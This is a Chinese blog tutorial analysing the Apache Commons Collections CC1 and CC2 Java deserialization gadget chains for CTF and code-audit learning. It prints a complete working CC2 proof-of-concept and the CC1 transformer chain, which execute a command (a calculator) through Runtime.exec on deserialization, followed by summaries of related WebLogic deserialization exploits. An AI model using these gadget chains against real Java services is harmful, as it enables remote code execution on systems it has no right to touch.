java反序列化之Commons Collections分析(一)

VSole2021-10-29 12:34:31

前言

在学习java反序列化的过程中,Commons Collections几乎是反序列化学习中无法绕过的一关。也是各大ctf和awd的常见考点,作为java代码审计的重要一环,我们今天就来解析一下Commons Collections利用链。

版本问题

为了简述,以下commons-collections简称为CC,CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMapdecode方法,这时候我们可以使用lazyMap方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

首先我们贴一下,CC的利用链版本,下面是maven依赖

<dependency>
           <groupId>org.apache.commons</groupId>
           <artifactId>commons-collections4</artifactId>
           <version>4.0</version>
</dependency>

注意 因为在3.1-3.2.1版本中TransformingComparator类没有实现Serializable接口,不能够被序列化,于是就不能在使用链上构造了。

CommonsCollections1

环境:JDK1.7、commons-collections-3.1-3.2.1

漏洞点存在于

commons-collections-3.1-src.jar:
/org/apache/commons/collections/functors/InvokerTransformer.java

InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法

接下来我们需要利用反射调用恶意方法比如命令执行:Runtime.getRuntime().exec

但是得想办法构造出反射调用,类似下面的方式:

import java.io.IOException;
public class exploit {
   public static void main(String [] args) throws IOException{
       // 普通命令执行
       Runtime.getRuntime().exec(new String [] { "deepin-calculator" });
       // 通过反射执行命令
       try{
           Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
                   Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
                   new String [] { "deepin-calculator" }
          );
      } catch(Exception e) {
           e.printStackTrace();
      }
  }
}

后面的流程就是需要找到能循环调用 transform 方法的地方来构造反射链

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法

所以我们可以构造上文提到的反射调用链,将 ChainedTransformer 的 Transformer 属性按照如下构造:

Transformer[] transformers = new Transformer[] {
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
       new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
       new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};

CommonsCollections2

之前写过一篇文章https://zhuanlan.zhihu.com/p/269168330,讲解了URLDNS调试分析这种方式,这种虽然是简单的序列化利用方式,但是麻雀虽小,五脏俱全,正常的反序列化流程都是这么走的。

不过说到底CommonCollections虽说确实相比于URLDNS要复杂一些。

我尽量简化,贴上现在最新的poc

package com.evalshell.springboot.handler;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonCollections1 {
   public static void main(String[] args) throws Exception {
       String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
       String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       ClassPool classPool = ClassPool.getDefault();
       classPool.appendClassPath(AbstractTranslet);
       CtClass payload = classPool.makeClass("CommonsCollections1123");
       payload.setSuperclass(classPool.get(AbstractTranslet));
       payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
       byte[] bytes = payload.toBytecode();
       Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
       Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
       field.setAccessible(true);
       field.set(templatesImpl,new byte[][]{bytes});
       Field name = templatesImpl.getClass().getDeclaredField("_name");
       name.setAccessible(true);
       name.set(templatesImpl,"test");
       InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
       TransformingComparator comparator = new TransformingComparator(invokerTransformer);
       PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
       queue.add(1);
       queue.add(1);
       Field field2=queue.getClass().getDeclaredField("comparator");
       field2.setAccessible(true);
       field2.set(queue,comparator);
       Field field3=queue.getClass().getDeclaredField("queue");
       field3.setAccessible(true);
       field3.set(queue,new Object[]{templatesImpl,templatesImpl});
       ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
       outputStream.writeObject(queue);
       outputStream.close();
       ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("cc2.ser"));
       inputStream.readObject();
       inputStream.close();
  }
}

运行的结果如下:

首先我贴上利用链:

ObjectInputStream.readObject()
->PriorityQueue.readObject()
->PriorityQueue.heapify
->PriorityQueue.siftDown
->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()
->TemplatesImpl.getTransletInstance
->cc2.newInstance()
->Runtime.exec()

这个过程涉及到下面几个接口和类:

TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可 以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:

MapouterMap=TransformedMap.decorate(innerMap,keyTransformer, valueTransformer);

TemplatesImpl

这里其实是javassist部分的知识,简单的来说就是动态的新创建了一个CommonsCollections1234这个类中执行的是java.lang.Runtime.getRuntime().exec(\"open //System/Applications/Calculator.app\");这一段的代码,之后通过byte[] bytes = payload.toBytecode();转换成二进制数据。

TemplatesImpl介绍一下这个类的内容,在CC2的链中getTransletInstance的方法是其中的一环,首先看到构造方法是protected的并且我也没有发现什么可以能够实现它的方法。所以还是通过反射的方式去处理。

其中是可以看到调用了defineTransletClasses() 方法的。

于是现在就需要找到什么地方调用了getTransletInstance,就会找到templatesImplnewTransformer方法是调用的

现在的问题是如何调用 newTransformer,这里我们POC给出的方案是通过InvokerTransformer类来反射调用,于是入口就变成了找到transform方法,有点CC1的味道了。

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);

最后来看POC的最后一段代码

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

设置queue为Object[]数组,内容为两个存在恶意代码的TemplatesImpl实例实例化对象。调用heapify方法的时候就会进行传参进去。到此为止走到了readObject方法之后就都走完了,这一条反序列化链也OK了.

参考资料

https://clq0.top/commons_collections_analysis

https://www.freebuf.com/articles/web/291406.html

序列化runtime
本作品采用《CC 协议》,转载必须注明作者和本文链接
前置知识分析Transformer接口及其实现类。transform()传入对象,进行反射调用。构造调用链调用链构造原则:找调用关系要找不同名的方法,如果找到同名,再通过find usages得到的还是一样的结果。找到InvokerTransformer类中的transform(),右键,点 Find Usages,找函数调用关系,最好找不同名的方法,调用了transform()。因为transform()调用transform()不能换到别的方法里,没有意义。如果有一个类的readObject()调用了get(),那我们就可能找到了调用链。最终选择TransformedMap这个类,因为TransformedMap类中有好几处都调用了transform()。
CVE-2020-14756 这个漏洞的利用比较巧妙,通过利用weblogic coherence组件中的类,绕过了黑名单机制的检测,重新能够利用黑名单中的类,造成代码执行。readExternal和writeExternal方法 而ExternalizableLite接口的对象可以在里被序列化。在put方法里,调用了compare方法而这里又会调用WrapperComparator的compare方法 这个f_comparator就是之前已经赋值过的。然后又会调用子类MvelExtractor的extract方法。这里不但会将ObjectInput转为DataInput,还会主动调用。判断输入流类型之后,调用了readObject。然后通过getObjectInputFilter/getInternalObjectInputFilter方法去获取serialFilter,之后,调用checkInput,对当前序列化的类进行检测。
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
浅谈Java反序列化漏洞
2022-05-17 17:48:01
Java序列化与反序列化Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
java序列化与反序列化
2022-04-13 16:35:35
java反序列化指字节序列恢复到java对象。bit,则一个字最大为 FFFF。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了Java对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
序列化漏洞汇总
2022-01-07 22:17:34
漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
在学习java反序列化的过程中,Commons Collections几乎是反序列化学习中无法绕过的一关。也是各大ctf和awd的常见考点,作为java代码审计的重要一环,我们今天就来解析一下Commons Collections利用链。
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。测试源码如下,此部分源码参考了ol4three师傅的博客:package?将输出字节流写入文件中进行封存。读取字节流操作为readObject,所以重写readObject可以执行自定义代码。影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关?
VSole
网络安全专家